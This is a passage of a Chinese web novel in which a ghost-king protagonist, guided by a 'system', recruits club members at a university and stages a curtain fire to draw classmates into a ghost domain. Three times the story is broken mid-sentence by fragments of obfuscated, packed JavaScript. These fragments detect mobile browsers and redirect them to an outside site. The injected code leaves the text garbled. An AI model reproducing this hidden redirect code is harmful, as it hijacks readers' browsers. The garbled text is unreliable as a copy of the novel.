闵朝言看着越珑,沉默了一瞬,点头, “好,我加入。” 可是这些不在意, 也许并不需要被一字字言明说清,也不需要把那些失望和失落强行塞进对方的眼神中。 就像她曾经一样。 “太好啦!” 越珑双眼发光,兴奋溢于言表,她快步上前几乎想要伸出手抱住闵朝言,动作却猛地顿住: “啊?她怎么来了?我得先跑了,明天见,明天我在C02活动室等你!” 越珑飞快说完一句话,转身就跑。 天才捉鬼人的速度不可小觑,几乎是眨眼间越珑就消失在教室里,同时窗外传来灌木丛被压断的声音。 「……感觉你们俩会很合拍呢。」 系统默默吐槽。 闵朝言看着窗外,没说话。 “你好,请问,你,认识越珑吗?我查到她的课表里有这节课的。” 一个怯生生的声音传过来。 闵朝言回头一看,是一个个子不高,眼睛大得出奇的女孩子, 但让她的视线停住的,却是两行字: [木灼青] [“校园鬼域”副本——女二号] [崩坏值:0] 系统兴奋的声音响起: 「太好了!女主青梅的崩坏值是0诶!终于有一个省心孩子出现了!」 木灼青,主角越珑的青梅,一个完全没有进入崩坏的角色。 一个因为没有崩坏, 所以注定走向命运,为越珑而死的角色。 24. 校园鬼域(3) “我认识越珑,你找她有事?” 闵朝言问。 “嗯…” 女孩脸上显露出一点犹豫来,点点头,声音既然轻而小心: “我想见她,你能帮帮我吗?” 她比闵朝言矮了半个头,不得不抬头看向对方。 长得有点吓人,但是, 真好看呀。 木灼青这样想着。 和扎眼的名字相反,木灼青是一个温吞到胆怯的人,她长相白净瘦小,说得好听些是“乖巧可爱”,其实就是“看着好欺负”罢了。 这样的人, 是不是不会在打饭的时候故意被少盛一勺, 不会被老师安排坐在那些淘气的男孩子旁边“带好”他们, 不会在发生冲突的时候,被默认为是“应该退让”“不能惹事”的一方? 木灼青忍不住这么想,心里生出一点浅浅的羡慕。 「答应呀!」 系统催促闵朝言。 闵朝言正在看剧情点。 这是她进入这个副本后触发的第一个剧情点,“帮助青梅加入社团”。 在原剧情中,越珑也是回避木灼青的,因为相比起天才捉鬼人主角越珑,木灼青是一个彻头彻尾的普通人。 她是九年前一场鬼域事故的幸存者, 被当时还在世的越珑母亲救下,收养在膝下。 木灼青非常感激越氏母女,想要成为越珑的同伴,帮助她履行捉鬼人的职责。 原剧情中的越珑推开木灼青,是为了保护身为正常人的她, 现在的越珑又是因为什么而推开自己唯一的朋友呢? “我可以告诉她你在找她。” 闵朝言说。 “不、不,她如果知道是我的话,肯定不会见我的。” 木灼青说, “你能直接带我去找她吗?” 闵朝言没说话,只是将自己手上的传单递给她,正是“自由漫画社”的招新宣传单。 “川阳大学的社团规定,如果在社团日统计结束之前人数还不满五人,该社团会自动解散。” 闵朝言说, “你可以加入她的社团,然后你们就能一起说话了。” “谢谢!” 木灼青眼睛一亮,接过传单,看到上面的图案时,表情有一瞬间顿住,又叹了口气, “其实,我真的看不懂她在画什么。” “但是?” 闵朝言知道这样的话通常会有一个下半句。 “但是,我还是很想在她身边,只有这样……我才安心。” 女孩将传单很珍惜地收起来,笑着回答。 哐——!!! 男生高高跃起,挥臂用力扣下!篮筐剧烈摇晃着,篮球砸在地上,发出巨大的声响,点燃全场的高喊喝彩。 象征着比赛结束的铃声响起,比分板上19比21,最后一个扣篮直接逆转了胜局! 顾羽落地,手臂肌肉充血鼓起, 他站在原地,仿佛一尊被精心雕琢的大理石雕塑,汗水滴落的弧度都带着唤起血性渴望的力量。 “牛啊!绝地反杀!” 队友搂住顾羽的肩膀,声音兴奋嘶哑, “你就是咱们一队老大!” 顾羽点点头,也拍拍他的肩膀,算是鼓励,然后一把把人推开: “你人都臭了,洗了澡再过来。” “知道啦知道啦,少爷你爱干净~可怜我们这些臭男人,谁叫你是个香男人呢~” 队友装作无力被推开的模样,故作搞怪,一副被抛弃的可怜姿态。 顾羽被恶心得脸色一变,对着队友举起拳头晃了晃,十足的威胁: “脸肿了是不是就能闭嘴了?” “哎,好凶的香男人呢~” 几个队友打闹着,脚上动作一点没停,快步溜向了浴室。 顾羽越过人群,没接旁人递过来的毛巾和水,自己走向人群外,打开手机,又发现自己其实根本就没什么需要查看的消息。 一整天了,他总是控制不住地走神, 总是莫名会想起那个莫名其妙擅自抢走他初吻的家伙。 说起来很奇怪,顾羽其实根本都没看见她的脸,只记得那是个肤色很白的女人。 但是,莫名的,她并不让他觉得陌生,反而让他心中生出一种自己都说不清的熟悉感,一种呼之欲出的,向前一步亲密的渴望。 她是谁? 顾羽不知道第多少次想起这个问题。 他家境优渥,长相帅气,性格也爽朗,从出生开始就过着简易模式的人生, 顾羽见过很多人,各种各样的人,但他从来没有这样渴望见到一个人。 不,不只是见到她。 还想要……想要…… “顾羽!” 一个声音打断了他的思绪,眼前站着一个带着无框眼镜的女生,正面无表情地看着他。 “啊,闻尝玉,有事吗?” 顾羽兴致懒散地应声。 “有事吗?顾·副!学生会长,离社团日统计截止只有三天了,你的策划方案呢?你的ppt呢?你的赞助外联呢?!” 闻尝玉的声音渐渐大起来, “我有事?我当然有事!社团日是新生入学之后第一个大型活动,也是我接任正!学生会长之后的第一个大活动,你要是把它搞砸了,我会追杀你,我真的会追杀你的!” 冷淡精英形象的闻尝玉伸出手,狠狠锤了一下顾羽的肚子,转身就走,帆布鞋把地面踩得墩墩响,只留下一句: “明天晚上不交方案,我就告诉你妈你偷偷外出住宿!” 顾羽被锤得脸色都白了,捂住肚子半天才缓过来,默默吐槽: “有这个劲儿去拎哑铃好不好……再说了,我只是忘交了,不是没做!” 啊,都是因为上午那个事,他光想着这个人可能是谁了! 顾羽摸了一下自己的唇,脸颊又红起来,故作凶狠地自言自语。 哼哼,等他找到那个人,要好好报复她! 最起码……要十倍亲回来! 一天的课程结束,闵朝言回到了自己的宿舍。 是的,作为一个伪装成人的鬼王,闵朝言不仅要上课,还要住宿舍。 至于一个刚刚出生没有身份证明和人际关系的鬼王如何顺利被人类的大学录取? ——这种细节的逻辑问题就不要追究,副本也不会设置的。 川阳大学的宿舍都是四人间,不过目前闵朝言还是自己住,从系统处得知这个消息的时候,她甚至松了一口气。 纵横游戏的大魔王闵朝言,不管是在游戏中还是现实世界里,都从来没有和任何人一起住过,某种意义上,这是她从未触及的陌生领域。 闵朝言也乐于继续保持这个倾向。 然而,打开门的一瞬间,闵朝言下意识皱起眉,因为里面有着很香的, 活人味。 是的,鬼王可以闻到活人身上的香气,甚至可以根据香气分辨出谁更好吃, 基本就是阳气充足的程度吧。 越珑无疑是最香的,今天早上啃了一口的男生也不错,木灼青其实也挺香,只是有点青涩发苦的余味。 而此刻,宿舍里飘荡着的,就是一股非常充满了勃勃生机的……越珑味。 “我的新舍友是你呀!好巧,不对,是有缘份!” 越珑正在整理一桌子的手稿,看着闵朝言走进来,放下了手中的东西,露出一个大大的笑容。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468597|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 闵朝言觉得自己的眼睛有点被闪到了。 “我也没想到。” 闵朝言回答。 “我一开始有点不想搬的,我那个房间很清静的,虽然偏一点旧一点,但是位置刚刚好!不过要是和你一起住,搬家一趟也很值了!” 越珑走到闵朝言面前,眼睛亮闪闪的。 这就是独属于热血少年冒险主角的活力吗, 见识到了。 至于为什么闵朝言会和越珑住在一个宿舍里, 这大概只能说,是主角和BOSS之间的命定吸引力了。 在热血少年冒险里,这可是比所有恋爱关系都更加强烈无数倍的羁绊。 “对了,正好你在,我还想和你说一下咱们社团的事。” 越珑拉着闵朝言坐下,表情认真起来。 通常而言闵朝言并不是会和人主动接触的性格,但是…… 越·阳气超级充足提款机·珑。 “嗯,你说。” 闵朝言点头。 “下周就是社团日了,可是咱们社团只有我们两个人,川阳规定了,社团不满五个人就要自动解散,所以!” 越珑一脸正气,字正腔圆: “我们还要再找三个人!” “我知道。所以今天有个人来教室找你,我把传单给她了。” 闵朝言回答。 “很好!招新就是要——什么??今天来教室找我那个人?她是不是姓木?你给她了?啊,啊这……” 越珑瞪大了眼睛,不可置信地反复确认。 “不可以吗?” 闵朝言问。 她的语气很平静,理直气壮,颇有一种“错了也不是我的错”之感。 越珑挠着头发,显然也不知道怎么回答。 毕竟,如果说“错了”,就要解释“为什么错了”,要解释为什么错了,就要解释谁是谁和谁为什么不见谁这些恩恩怨怨的东西…… 啊——好复杂! “算了,不管这个,我们明天一起去招新吧!明天是学生会迎新会,肯定很多新生的!” 越珑果断抛弃了上一个话题,又开始信心满满起来。 “有你在,我们肯定大成功!” 她觉得闵朝言很神奇,明明态度相当冷淡,也没什么表情,却能让人莫名生出一种跟随的冲动。 或许,这就是传说中的“王者之气”吧。 「答应答应,这也是个剧情点!」 系统催促。 “好。” 闵朝言点头。 这个副本给闵朝言一种很奇怪的感觉, 简单来说就是……太悠闲了。 没有性命攸关的危机,没有生死之间的抉择,不用面对世界随时毁灭的可能性; 简直就像是一个真正的校园,要上课,会面对不好相处的老师,还会被拉进其实不太感兴趣的社团。 是闵朝言从没有经历过的校园生活。 当然,她现实生活中的身份,应该是“经历过”校园生活的,但闵朝言自己不记得了,从那个医疗仓醒来之后,她就失去了自己全部的记忆,只剩下“知道”。 她知道自己的名字,知道自己孤儿的出身和莫名继承了一大笔遗产的事实, 但除此之外呢? 除了那一张打印出来的个人档案,闵朝言对“自己”一无所知。 系统曾经很惊讶闵朝言为什么那么痛快地答应成为绑定任务者, 因为它说的是对了,除了物·源游戏之外,闵朝言没有自己的人生。 除了精灵之外, 闵朝言没有属于她的“同伴”。 所以,即使只是一场名为“家人”的游戏, 她也想继续扮演下去。 25. 校园鬼域(4) 第二天, 下课之后越珑就拉着闵朝言来到了大礼堂前。 闵朝言看着手里的传单画面,有种精神再次受到污染的冲击感,莫名觉得手里的传单越来越沉。 “来了来了,他们出来了。” 越珑很兴奋。 川阳大学有将近两万名学生,学生会规模也不小,大大小小的部门加起来也有上千人, 如今这帮最新鲜的人类陆陆续续从礼堂走出来,闵朝言闻着活人走过的气息,舌尖舔过犬齿,饥饿感渐渐蔓延。 “你好你好,了解一下我们自由漫画社吗?很自由的,非常好玩!” 越珑非常积极地抱着一大摞传单冲上去和人搭话。 伸手不打笑脸人,越珑态度热情,大部分人也不会太没礼貌地拒绝,大多数人都会接过传单看看。 当然,这些人也往往会被如此灵魂的画技震惊,露出介于尴尬和惊讶之间的神情,然后摆摆手走开,更有一些脸皮薄的,就差一边鞠躬道歉一边疾速溜走了。 越珑似乎也不意外, 依旧给每一个路过她身边的人塞传单,热情地呼喊着“看看漫画又不要钱”。 大概五分钟之中,她的身边形成一圈完美的真空,学生们挤成一团从她身边溜过,又在她跑过来时露出尴尬的笑容接过传单。 闵朝言站在原地看了一会儿,觉得自己应该也要开始工作了,拿出一张传单随手递出去,被人接住。 对方接过传单,即没离开,也没开口说话,只是看着闵朝言。 嗯? 难道还要她介绍社团吗? 闵朝言有点不耐烦地抬眼看去,眼前的人却让她生出种熟悉感。 很帅,这是一定是,否则她不会记住,不过更熟悉的是他身上的味道,非常高质量的阳气,看上去挺好亲的…… 哦,是他。 闵朝言想起来。 「男二出场啦!」 系统冒出来挥舞小棋子。 这个质量,果然是个重要角色。 闵朝言看向对方的角色面板。 [顾羽] [校园鬼域副本——男二号] [崩坏值:9] 除了越珑之外,这个副本里的角色,崩坏值都很低啊。 闵朝言若有所思。 “啧,这画的什么啊,看得人脑子疼。” 顾羽低下头看了一眼传单,下意识皱起眉,有种受到精神污染的冲击感。 “我社团的招新传单。” 闵朝言回答。 “啊,你画的?额,也不是,不是没有可取之处哈,我再看看……” 顾羽一顿,画风一转,开始瞪大眼睛凑近看,找不出闪光点不罢休。 “不是,她画的。” 闵朝言摇头。 “她是你朋友?” 顾羽问。 “舍友。” 闵朝言回答。 “挺抽象的。” 顾羽放心了。 “你也在这个社团里吗?” 他又问。 “嗯。” 闵朝言点头。 “那我也加入吧?” 顾羽笑了一下,微微俯身,看着闵朝言的眼睛。 「他怎么这么自来熟啊?不是说是看似开朗实则拒人千里之外的校园男神吗?」 系统诧异。 “你认识我?” 闵朝言问。 “……你不认识我?” 顾羽瞪大眼睛,一副被渣之后的震惊表情, “你不认识我?你怎么能不认识我?!” 喂!你不认识我你亲我干什么! 顾羽肺都要气炸了,又怕大声了会让面对的女生不高兴,红着耳朵宣告: “你亲了我,要对我负责的!” 他压低了声音,羞愤里又好像有点雀跃。 「哇,你不是把他眼睛蒙住了吗?他怎么认出来的?」 系统继续惊讶。 ‘不知道,不重要。’ 闵朝言回答。 “不是我。” 闵朝言睁着眼睛说瞎话。 “怎么可能!我一下就认出你了!” 顾羽反驳。 他一出门就注意到这个人了。 这种冷冷淡淡到全世界爆炸都完全不在意的拽王气质,他真没在别人身上见过。 而且, 她还这么白! “哦。” 闵朝言回答,转身就走。 完全没有在意的样子。 顾羽有点挫败地跟在她身后,忿忿不平地喋喋不休: “那是我的初吻,你不能不认!” “再说了,你之前不认识我,现在也可以认识啊!我叫顾羽,今年20岁,建筑系大二,身高187,体脂率7%,亲起来怎么样你自己已经验证过了,别的能力虽然我还没有经验,但是我学什么都很快!” 他说着说着还把自己说脸红了,抬手揉了揉有点发烫的脸蛋, “我没有喜欢过别的女孩子,也没有谈过恋爱,你是第一个我觉得长得好看的人,而且,你很不一样,哪里不一样我也说不上来,反正就是,我第一眼就很喜欢你!” 他快步走到闵朝言面前截停她的脚步,眼睛眨巴眨巴,有点哀求的意味: “就算你现在对我没什么感觉,也要给我追求你的资格吧?” 闵朝言觉得他有点吵,转过头看着他,对着他勾勾手指。 “嗯?” 顾羽凑上前。 闵朝言亲了一下他的唇瓣,露出一个有点恶趣味的笑容。 “闭嘴。” 她说。 “……!!!” 顾羽瞪大眼睛,捂住嘴巴看着闵朝言,整个人都要冒蒸汽了,半响,磕磕巴巴地说: “要、要是不闭嘴的话,还能这样让我安静吗?” “不能,” 闵朝言看着他,非常平静, “我会扇你。” 顾羽捂着脸,低下头想了半天,觉得这比起威胁,更像是诱惑…… 不对,他的本性原来是这样吗?天呐,好羞耻! 闵朝言没有理会顾羽的翻来覆去上天下地的内心戏,转身向越珑的方向走去。 “朝言!你怎么样了?诶,这位是?” 越珑终于发完了手里的传单,跑到闵朝言身边,有点疑惑地看着顾羽。 “我是顾羽,我想加入你们。” 顾羽微笑着和越珑打招呼,很有礼貌,也不失应有的界限感,看上去的确唬人。 看来他正常的时候是这个样子。 “真的吗?那太好了!” 越珑眼睛一亮。 “不是,他现在还不会加入。” 闵朝言出言打断。 “啊?” 越珑有点懵。 再看顾羽,此刻已经从惊讶转变到委屈了。 “你是担心我打扰你吗?我不会的,我只是想和你近一点。” 他站在闵朝言身前,求情一样小声说。 “……?” 越珑看着顾羽在闵朝言面前的小可怜样,恍然大悟地点头, “原来如此!” 热血主角越珑此刻有点犹豫。 从梦想的角度来说她应该马上点头同意顾羽的加入,毕竟她这个社团再找不到人就要解散了,但是从朋友的角度来说,这是不是有点背刺闵朝言? “要不让他挂个名,不参加活动,不打扰你的那种?” 越珑说。 “不需要,他是学生会副会长,让他在裁撤社团名单里把自由漫画社剔出去就可以。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477214|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 闵朝言说。 “你知道我是学生会副会长?你果然有关注我的。” 顾羽的表情瞬间明朗起来。 “不过,我,其实没有这个权力的。这是校规,我们动不了的。” 他很小声地和闵朝言说,有点心虚的样子。 校规不可违抗, 这是川阳大学从新生入学第一天就开始强调的东西。 很多学生都以为这只是校领导的独断专行, 但只有身为捉鬼人后代的越珑知道,作为封印鬼域的最中心,这些不可违逆的校规都是那位最早的伟大捉鬼人为了维护封印,保护无辜平民而做出的限制。 啊,还有提前拿了剧透的闵朝言。 不过那种性命攸关的校规就算了,连社团人数规则也和封印有关吗? 闵朝言有点意外。 她还以为这种行政规则只是凑数的呢。 闵朝言正在思索关于社团人数的校规能和封印鬼域有什么关系,余光中看到一个瘦瘦小小的身影跟在后面。 她眼珠一转, 想到了另一个方法。 闵朝言答应成为任务者,副本要过,任务要完成,但最重要的是, 积分必须挣。 闵朝言转身就走,没理会被落在后面的两人。 「剧情里男二和青梅加入社团是他们在鬼域幸存之后的事诶,要是现在就让他加入,剧情点的时间就乱了啊。」 系统有点担忧。 ‘没事。’ 闵朝言的脚步没停,走到了大礼堂前,抬脚轻轻踢了下大礼堂的门槛。 ‘系统,关于这个礼堂的校规是什么?’ 她问。 在原剧情梗概中,提到过学校中有几个场合,有着非常严格的校规,例如不可饮用特定饮料,不可进行打闹活动之类的,礼堂也在其中。 「不可在礼堂使用明火,绝不可以点燃布料。」 系统回答。 「哦!我明白了,你是打算——」 ‘监控礼堂,查到有第三个人进入告诉我。’ 闵朝言说。 [道具兑换:火柴] [当前积分:750-1] 闵朝言摸出一盒火柴,顺手就点燃了礼堂窗边的纱帘,然后将火柴扔在了地上。 虽然是一名以打劫为爱好的玩家,闵朝言的背包却很干净,除了[溺亡者]之外,没有任何东西。 她似乎对任何事物都没有“保留”的概念,也不会去思考未来自己需要什么。 这也是玩家论坛中她最为人愤恨的地方: 她打劫似乎只是为了给人找不痛快,根本就不是为了抢东西。 “朝言!” 越珑最先赶来,看着烧起来的纱帘,瞳孔一缩,上前想要扑火。 “有个人把纱帘烧起来就跑了,” 闵朝言说,半点心虚没有, “要追吗?” “先灭火!” 越珑的声音急促,跑去灭火器边上,打开箱子,却发现上面的保质期居然已经过去数年了。 “靠!” 越珑爆了句粗口,抬头对着闵朝言大喊: “朝言,快出去!” “怎么回事?!” 顾羽跑进来,看着纱帘烧起来,连忙拉着闵朝言的手臂要走, “我们先出去!” 一个,两个,还差最后一个。 闵朝言的视线扫过眼前的两人。 ‘系统。’ 她说。 「她也进来了!」 系统回答。 很好。 闵朝言看着燃烧的纱帘上火光突然大作,随后,火焰化作无数炸开的烟花,向她们几人冲了过来! 欢迎来到—— 鬼域·枯落城。 26. 校园鬼域(5) 夜空中寥寥几颗星光, 一片漆黑的街道上挂着破旧的灯笼,残破缺口里,血红色蜡泪落下。 “这,这是哪里?” 顾羽下意识将闵朝言护在身后,握紧了她的手臂,声音中带着惊疑不定。 “……是鬼域,我们居然进来了。” 越珑声音艰涩,显然也是第一次面对这样的情况,眼中满是戒备,站在闵朝言另一边,做出保护的姿态。 闵朝言看着一左一右将自己围起来的两人,觉得如果自己现在暴露身份,这个副本的故事大概就可以直接结束了。 “什么是鬼域。” 她配合地问。 “鬼域是阴气怨念聚集之所,会不断重演这一片鬼域主人生前的执念。只有化解执念,或者杀死鬼域主人,我们才能回到现世。” 越珑说着,从口袋里拿出一个东西,那是她用来画稿的钢笔。 她将钢笔竖直插进发间, 在灰暗中,金属折射出一点暗淡的月光。 “这片鬼域不大,別怕。” 她安慰闵朝言。 根据鬼域主人的强大与否,鬼域也有大小之分。 越大的鬼域越真实,甚至可以完整复刻模拟出其主人生前的一切,仿佛一个真实的小世界;越小的鬼域越虚假,迷惑性或许不高,但并不意味着危险程度就更低。 “保持警惕。” 越珑说着,牵上闵朝言的另一只手,很认真地嘱咐她: “应该是有人要故意把我们送进这个地方,你要跟紧我,千万小心,如果遇到危险了,一定要自己先跑!” 她看着闵朝言,明亮的双眼中带着毫不作伪的关怀。 闵·罪魁祸首·朝言: “好。” 没有道德的好处就是永远不会做贼心虚。 「太棒了,顺利进来了!闵朝言,你脑子转得好快啊!」 系统兴奋的声音在耳边响起。 闵朝言理所当然地接下了这个称赞。 从一开始, 进入鬼域这件事情就是她设计的。 闵朝言要完成剧情点,就需要越珑和顾羽在她需要的时间段,做出她需要的反应, 但他们毕竟也是活生生的人,会有疑惑会问问题,不能任由闵朝言像娃娃一样随便摆弄。 就像是刚才,顾羽要加入自由漫画社,闵朝言没有理由拒绝,而且也没有绝对的能力去拒绝,因为漫画社的社长是越珑。 况且,闵朝言需要的也不是拒绝顾羽入社,而是让顾羽在“经历了一个鬼域副本艰难幸存”之后,再加入社团。 毕竟,顾羽遇险-越珑出手救人-顾羽知道鬼域真相-顾羽加入社团,这是四个连成串的剧情点! 如果只完成最后一个,那前面三个点的积分就等于作废了。 闵朝言无法接受。 但这能直接说吗?不可能。 那该怎么办? 就在这个时候,闵朝言看到了躲在一边偷偷观察的木灼青。 木灼青出现在礼堂的原因很多,也许是她本身就是新加入的学生会成员,也许她上课路过,就像绝大部分时候副本中细节设置上的逻辑问题一样,这不重要。 重要的是,这个时候她出现了。 那么, 事情就变得好解决了。 在原剧情中,木灼青因为一直没办法和越珑说上话,干脆自己触发了一个鬼域的禁制——也就是那些川阳大学明令禁止的校规,被卷入了一个鬼域。 而顾羽,就是无辜也被卷进去的倒霉蛋之一。 越珑虽然躲着木灼青,但是也不能真的放着自己的青梅不管,所以果断进入了鬼域,救下了木灼青几人。 在那之后,她的社团也多了两个成员。 闵朝言拿到的原剧情只是简单的大纲节点形式,没有很详细的剧情,因为她要卡的也只是节点而不是详细剧情。 所以,虽然礼堂鬼域和原剧情中木灼青触发的鬼域并不是同一个,但只要满足: 木灼青触发鬼域-木灼青和顾羽被卷入鬼域-越珑救下二人-顾羽知道鬼域真相/木灼青和越珑和解-二人加入社团的剧情逻辑链, 这五个剧情点闵朝言就都能完成。 唯一不太完美的地方是,礼堂这个鬼域是闵朝言自己触发的,这部分的剧情点积分可能损失。 当想到了“触发鬼域”这个计划的时候,闵朝言先是让系统监控木灼青的方位,保证鬼域触发时对方一定在卷入范围之内,然后才点燃了纱帘。 不过…… 闵朝言环视四周,空旷昏暗的大街上,只有三个人:她自己,越珑和顾羽。 ‘系统。’ 闵朝言问。 「我保证她一定进入鬼域了,她当时就在礼堂里!」 系统马上知道她的意思,回答, 「我不能监控鬼域内部的方位,但是我检测到了三个人类生命体征的!不对……怎么还有一个?」 三个人类体征,指的是越珑木灼青顾羽三人,因为闵朝言是鬼王,她的人类外表只是伪装,在系统的监控中,她就是一具会动的尸体。 第四个人类体征不可能是闵朝言, 这里还有一个人类? 「不可能啊,礼堂里当时只有你和三个人类了。」 系统疑惑。 ‘那只能说明,那个人早就已经在这里了。’ 闵朝言回答。 「那我们现在怎么办?」 系统问。 ‘先找木灼青,她不能在这里死。’ 闵朝言回答。 青梅为救主角牺牲,这可是副本后期的大高潮泪点,木灼青必须活到那个时候。 闵朝言不喜欢错失积分的感觉,尤其是当她在这个副本里因为积分不足,不得不被越珑牵手贴贴,强吻顾羽一次又一次的时候。 上个副本努力一点就好了, 闵朝言看着自己被牵住的两只手臂,难得产生了一点可以说是“后悔”的情绪。 “那个放火的人应该也在附近,” 越珑问闵朝言, “你说你看到他放火了,你还记得他长什么样吗?” 闵朝言摇头。 因为那个人根本就不存在。 不过,这可能是个机会。 她突然意识到。 “那个放火的人跑出去了,但我在礼堂里看到木灼青了。” 她说。 听到这个名字,越珑的表情一顿,她咬住下唇,眼中浮现更浓重的担忧之情: “她也被卷进来了?我们得马上找到她!” 说罢,她看了一眼前方,拉着闵朝言的手往前走: “我先给你找个安全的地方呆着,然后我去找她,你等着我,哪里也别去!” “木灼青?我记得那个女生。” 顾羽说, “她是学生会风纪部的新成员,今天开会之前来找过我,想要社团日场地安排的图纸。看着轻声细语的,其实感觉人挺倔的。” “她是为了找我,会跟进礼堂大概也是因为这个。” 越珑叹了口气,神情中有种少见的落寞和内疚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478796|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “一起找吧。” 闵朝言说。 “这里太危险了,你还是先躲起来。” 越珑不赞同。 顾羽犹豫了一下,看了一眼闵朝言,能看出来他内心更赞同越珑的想法,开口却是: “听她的吧,我们一起找。” “可是——” 越珑还想说。 “你也不知道哪里是完全安全的,既然都有可能危险,难道不是你身边才最安全?” 闵朝言开口说。 越珑沉默了一会儿,终于还是点头了: “好,那你一定一定要跟紧我,不可以随便走开!” 她一向性格很好,可以说得上极其随和,这是闵朝言迄今为止,唯一一次见到她这样严肃的表情。 三人走在街道上。 这里像是一个古代街道,已经被废弃许久,没有一丝人气。 大街很宽,两边是一排排大门紧闭的商铺,根据已经掉漆破烂,还残存着部分文字的招牌来看,这里面有熟食店,书店,成衣店等各种品类的商铺,种类算得上很丰富。 在商业街的尽头,是一个挂着漆金大字的匾额: 镇国公主府。 “这里很像是鬼域的核心。” 越珑说。 在每一个鬼域中都有一个核心,这个地方通常就是鬼王的执念所在,有的是地方,有的是物品,甚至有的时候,是生活在其中的“人”。 这些核心的种类不定,唯一的共同特质,就是它们一定都“显眼”。 毕竟,这个鬼域就是围绕着它们而生的。 捉鬼人们有一种天生的感应能力,让她们在面对鬼域核心时,会生出本能般的锁定直觉。作为千年来的第二个天才捉鬼人,越珑自然也有这样的能力。 “我们要进去吗?” 顾羽握着闵朝言的手,下意识抬手护在闵朝言身前,对她说: “你拉紧我的手,我先进去。” 他的掌心很热,闵朝言几乎可以感受到他的脉搏,和透过那在他身体中奔涌的,旺盛蓬勃的生命力。 其实说起阳气的质量,越珑自然是要胜过顾羽许多的,但闵朝言反而更喜欢顾羽的阳气, 有种很好消化的感觉。 “这个鬼域很安静,安静得不正常。” 越珑也绷紧了精神,将路边的石子扔进去,石子落地的声音清脆,她向府内看去,里面一片漆黑,仿佛没有被照耀到哪怕只是一点月色。 “正常的鬼域应该是什么样?” 闵朝言问。 “……各种各样。但总是很危险。” 越珑说着,打开手机手电筒,牵着闵朝言的手, “你走中间,如果发生什么事,你和顾羽就往外跑,不用管我。” 三人以闵朝言为中心牵着手,缓缓走入府内,脚步落地时却感受到一阵湿润的液体正向他们涌来,顷刻之间,浸湿鞋袜,腥气扑鼻。 手电筒的光缓缓下移,照亮她们眼前的地面,和那泛着腥臭的液体。 居然…… 不是鲜血。 浓绿色的,粘稠腥臭的液体,仿佛从已经腐烂的池塘蔓延出来,在地面扎根。 “刚才石子落地声是脆的,前面应该是地面。” 越珑说着,继续向前走,脚步却停在原地,再向前的时候,脚心传来皮肉被撕扯出去的剧烈疼痛。 “快走!” 越珑瞬间反应过来,一把抱起闵朝言扛在背上, “顾羽,跑!” 她们在“扎根”, 在这片池塘。 27. 校园鬼域(6) “有东西爬过来了!” 顾羽忍着锥心疼痛将脚从浑浊的池水中抽出,额间被激出一片冷汗。 一次还能忍受,但每迈出一步,就又要经历一遍这样的扎根又扯断的痛苦,再能忍痛的人也无法坚持。 池水的腥臭味道愈发浓烈起来,不知道是不是因为其中混入了她们的鲜血。 这可不妙,越珑心中暗道。 从刚才用石子试探的结果来看,这片鬼域的怪物不一定会被声音吸引,但不被人类鲜血味道吸引的怪物……实在太少了。 顾羽再一次将自己的腿拔出来,他个子高,步子迈得更大,很快来到了越珑身边,问她: “接下来怎么办?” “只能快走,池水在上涨!” 越珑的感官更加敏锐,即使在剧痛之下,也瞬间察觉到水位的变化。 按照这个速度,很快就会到小腿的位置。 越珑大致判断了时间,看向顾羽,神色有些犹豫。 “你想说什么?” 顾羽脸色惨白,咬着牙勉强将字音吐清。 “我个子不够高,没法让水不碰到她。” 越珑指的是闵朝言。 顾羽明白了越珑的意思,她想让身高更高的顾羽来抱着闵朝言,尽可能让闵朝言不要碰到这诡异的池水。 她犹豫的原因也很明显: 顾羽会愿意吗? 这可不是什么能够耍帅的校园篮球场,这里是鬼域,随时都可能生死未卜,帮助别人也许会让自己送命。 顾羽自己也觉得惊讶,他很了解自己的本质。 即使看似随和开朗,但他其实是很高傲的人,从小到大,他所有的行动永远以自己为先,永远最考虑自己的得失和感受,他会对他人伸出援手,但绝不会将自己置于险境。 可这一瞬间, 他居然愿意。 “我来。” 他对着闵朝言伸出手。 闵朝言看着他惨白的脸色,还有地下幽深发黑的池水,眨眨眼,伸出手搂住顾羽的脖子,趴到了他后背上。 “别摔了。” 她将下巴放在男生肩膀上,慢悠悠地说了一句。 闵朝言是冷漠的,她从来不掩饰这一点。 顾羽觉得自己大概本性是有点贱,他觉得她这样傲慢又懒洋洋的样子真是, 让他几乎无法呼吸的性感。 “不会的。” 顾羽笑了一声,手臂垫在她的膝弯下。 “如果摔了我一定垫着你,放心。” 池水继续上涌,顾羽却觉得自己的脚步似乎轻快了一些,每当疼痛无法忍受的时候,他就会闭上眼,尝试去听闵朝言的呼吸声, 很轻,近乎于无,但莫名地,这让顾羽的心也安静下来。 